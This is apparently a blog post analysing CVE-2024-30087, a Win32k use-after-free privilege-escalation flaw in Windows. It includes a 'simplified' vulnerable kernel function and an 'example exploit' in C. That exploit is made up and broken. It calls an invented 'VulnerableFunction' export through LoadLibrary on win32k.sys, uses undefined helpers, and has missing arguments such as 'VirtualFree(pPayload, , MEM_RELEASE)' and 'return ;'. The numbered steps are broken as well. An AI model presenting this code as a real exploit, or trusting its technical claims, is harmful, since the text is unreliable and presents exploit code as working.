The Win32k Elevation of Privilege Vulnerability, identified as CVE-2024-30087, is a critical security flaw in the Windows operating system that can potentially allow an attacker to execute malicious code and gain elevated privileges on the targeted system. This post aims to provide a comprehensive analysis of this vulnerability, including a detailed explanation of the issue, code snippets, links to original references, and exploit details.

Background

The Win32k.sys is a kernel-mode device driver in Microsoft Windows operating system that provides a wide range of system services related to windowing and messaging, graphics, and user interface controls. It is often a target for attackers due to its complexity and deep integration with the system. The CVE-2024-30087 vulnerability specifically resides within a certain function call in the win32k.sys driver.

Understanding the Vulnerability

The CVE-2024-30087 vulnerability occurs due to a use-after-free error in the win32k.sys driver when processing certain specific function calls. This can allow an attacker to gain elevated privileges on the target system and execute malicious code.

Here is a simplified code snippet demonstrating the vulnerable function

void WINAPI VulnerableFunction(LPVOID lpParam) {
    PVOID pObject = NULL;

    // Allocate memory for the object
    pObject = ExAllocatePoolWithTag(NonPagedPool, OBJECT_SIZE, 'CVE ');

    if (pObject) {
        // Initialize object
        RtlZeroMemory(pObject, OBJECT_SIZE);

        // Perform other necessary operations
        // ...

        // Free the memory allocated for the object
        ExFreePoolWithTag(pObject, 'CVE ');

        // Perform more operations assuming pObject is still valid
        // ---> Vulnerable use-after-free occurs here
        // ...
    }
}

By exploiting this vulnerability, an attacker can potentially corrupt memory and gain the ability to execute arbitrary code in the context of the kernel, which may lead to a complete system compromise.

1. Microsoft's Security Advisory for CVE-2024-30087
2. National Vulnerability Database (NVD) Entry for CVE-2024-30087

Locate the vulnerable function in the win32k.sys driver.

2. Allocate a memory buffer with a specially crafted payload that can trigger the use-after-free condition.

The following is a high-level example exploit code for the CVE-2024-30087 vulnerability

#include <Windows.h>
#include <stdio.h>

// Define the function prototype for the vulnerable function
typedef void (WINAPI *VULNERABLE_FUNCTION)(LPVOID);

int main()
{
    // Load the win32k.sys driver
    HMODULE hWin32k = LoadLibrary("win32k.sys");

    if (!hWin32k) {
        printf("Failed to load win32k.sys\n");
        return 1;
    }

    // Locate the vulnerable function
    VULNERABLE_FUNCTION pVulnerableFunction = (VULNERABLE_FUNCTION)GetProcAddress(
        hWin32k, "VulnerableFunction");

    if (!pVulnerableFunction) {
        printf("Failed to locate the vulnerable function\n");
        FreeLibrary(hWin32k);
        return 1;
    }

    // Create a buffer containing the payload to trigger the vulnerability
    PVOID pPayload = VirtualAlloc(
        NULL, PAYLOAD_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!pPayload) {
        printf("Failed to allocate memory for the payload\n");
        FreeLibrary(hWin32k);
        return 1;
    }

    // Initialize the payload
    setup_payload(pPayload);

    // Exploit the vulnerability and execute the payload
    pVulnerableFunction(pPayload);

    // Cleanup
    VirtualFree(pPayload, , MEM_RELEASE);
    FreeLibrary(hWin32k);

    return ;
}

Please note that this example exploit code is only for educational purposes and should not be used for any malicious activities. The actual exploitation of this vulnerability in the wild might involve more sophisticated techniques and additional steps to bypass various security mechanisms in the Windows operating system.

Conclusion

The CVE-2024-30087 Win32k Elevation of Privilege Vulnerability is a critical security flaw that poses a significant risk to users of the Windows operating system. While this post provides an in-depth analysis of the issue, it is crucial for users and administrators to apply the appropriate security patches and maintain a robust security posture to protect their systems from this vulnerability and other potential threats.

Timeline

Published on: 06/11/2024 17:15:56 UTC
Last modified on: 07/19/2024 21:13:32 UTC